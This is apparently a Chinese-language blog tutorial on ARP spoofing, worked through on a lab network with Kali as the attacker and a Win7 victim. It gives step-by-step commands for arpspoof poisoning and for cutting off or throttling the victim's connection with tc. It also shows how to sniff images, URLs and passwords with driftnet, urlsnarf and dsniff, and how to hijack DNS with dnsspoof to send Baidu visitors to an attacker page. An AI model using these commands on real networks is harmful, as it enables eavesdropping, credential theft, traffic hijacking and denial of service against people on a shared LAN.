ARP欺骗
定义
ARP欺骗(英语:ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线
关于ARP的工作原理和ARP欺骗的原理,此处不再赘述,如果不懂的话网上有大量资料,这里推荐一个我认为讲解通透的视频ARP攻防
攻击手段
警告!!!下面介绍的所有的操作都是建立在ARP欺骗的前提下,使用什么工具来实现ARP欺骗是自己的事情,这意味着,下面介绍的ARP断网,限速,嗅探数据的各种操作也可以建立在ettercap、python上。
arpspoof
这款工具已经被kali移除,如果你的系统没有的话需要手动安装
sudo apt-get install dsniff
┌──(root💀kali)-[~]
└─# arpspoof -h 1 ⨯
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
根据帮助手册可以知道,-t表示受害者的ip,-r表示伪装的ip
双向毒化为:
arpspoof -t 192.168.40.140 -r 192.168.40.2
arpspoof -t 192.168.40.2 -r 192.168.40.140
ARP断网
使用arpspoof -t 192.168.40.140 -r 192.168.40.2
即可欺骗win7的arp缓存表,导致win7不能上网,这也是大家最常用的ARP断网技术,win7之所以不能上网的原因是linux默认不转发数据,即,此时的kali不转发网关和win7之间的数据导致win7无法上网。这样做很容易被发现,可以改良一下做法。
限制网速
没想到吧,ARP还能限制对方网速。当我欺骗了网关和受害者的时候,受害者访问网络就需要经过我的网卡,那我限制自己网卡的速度或者转发的速度不就行了。这里可以使用的工具有tc、iptables、WonderShaper等等,由于后两者较为麻烦一些,我以tc为例,tc是通过限制网卡的速度来限制对方的,是一种杀敌一千自损八百的手段。
要实现限制网速,kali要先开启路由转发功能
cat /proc/sys/net/ipv4/ip_forward #值为0表示没开启流量转发,为1表示开启了
echo 1 > /proc/sys/net/ipv4/ip_forward #开启流量转发
限制网速200ms延时
sudo tc qdisc add dev eth0 root netem delay 200ms
取消限制网速200ms延时
sudo tc qdisc del dev eth0 root netem delay 200ms
未开启限速,两者状态还算良好
开启限速之后,就不大好了【经过测试200延迟还是可以看在线视频的,300就不行了】
换个视角,看一下ping值
嗅探全部数据
要嗅探受害者的数据,就需要能让受害者正常通信,就需要kali开启转发数据功能
cat /proc/sys/net/ipv4/ip_forward #值为0表示没开启流量转发,为1表示开启了
echo 1 > /proc/sys/net/ipv4/ip_forward #开启流量转发
这个时候win7会经过kali上网,kali也就可以抓取win7数据了。这个时候你会发现,wireshark抓到了一大堆数据包,很多还是加密的,跟网上说的wireshark轻松抓到邻居上网密码上网记录不大一样,没想到吧,这个时候我们就需要一个简单易读的工具。
这个工具就是driftnet。
嗅探图片
使用driftnet来嗅探图片,它可以展示流经网卡的图片,严格来说是把流经网卡的图片数据还原为图片,即win7上网看到的图片(还是挺鸡肋的,看不到别的)
sudo apt install driftnet
driftnet -help --获取使用文档
语法: driftnet [options] [filter code]
主要参数:
-b 捕获到新的图片时发出嘟嘟声
-i interface 选择监听接口
-f file 读取一个指定pcap数据包中的图片
-p 不让所监听的接口使用混杂模式
-a 后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)
-m number 指定保存图片数的数目
-d directory 指定保存图片的路径
-x prefix 指定保存图片的前缀名
实时抓取图片
1:第一步,arp欺骗
arpspoof -t 192.168.40.140 -r 192.168.40.2
2:第二步,开启数据转发
echo 1 > /proc/sys/net/ipv4/ip_forward
3:第三步,driftnet实时抓取图片
driftnet -i eth0 #eth0是要抓的网卡
稀烂,还是一如既往的难用,没抓到图片
保存抓取下来的图片
操作同上,只不过改变一下driftnet的命令
driftnet -i eth0 -a -d /tmp/win7
嗅探访问的URL
webspy
使用webspy嗅探受害者访问了哪些网页。
前提步骤同“嗅探图片”,使用arpspoof开启欺骗,然后使用webspy来抓,但是这个工具还是依旧难用,只能抓取一次,然后自己就崩溃了,如图所示。
webspy -i eth0 192.168.40.140
urlsnarf【既能抓URL也能抓图片】
使用urlsnarf嗅探受害者访问了哪些网页,默认抓取80、8080、3128端口的数据。
前提步骤同“嗅探图片”,使用arpspoof开启欺骗,然后使用urlsnarf来抓,这个工具好用一些
urlsnarf -i eth0
嗅探账密
当网络中出现了填写账号密码的数据时,dsniff这款工具就开始截获数据,它的-m
参数会解析网络协议。
前提步骤同“嗅探图片”,使用arpspoof开启欺骗,然后使用dsniff来抓。
注意,dsniff不会实时显示结果,当你在win7中输入quit
的时候dsniff才会显示结果
dns欺骗
dnsspoof启用DNS欺骗,如果是请求解析某个域名,dnsspoof会让该域名重新指向另一个IP地址(黑客所控制的主机),如果dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。
由于dns查询是客户机向网关发起请求,所以我们如果要在局域网中实现DNS欺骗,仍然是需要先做到arp欺骗。
参数:
-i 指定一个网卡
-f 指定要欺骗的网址文件,如果不指定,将返回本机的IP地址给被攻击者
这里我们的计划是,当受害者访问百度的时候会被我们劫持
1:编辑dnsspoof的配置文件
updatedb #更新一下locate的数据库
locate dnsspoof.host #使用locate命令定位文件位置
2:kali上开启apache服务,让受害者可以访问到页面
systemctl start apache2.service
3:发起DNS欺骗
dnsspoof -i eth0 -f /usr/lib/x86_64-linux-gnu/dnsspoof.hosts
-i
参数指定网卡,-f
调用配置文件,然后kali机会监听eth0网卡中发往udp53端口的数据包,注意啊,是监听网络中目标端口是53的数据包,不是本地监听了一个53端口。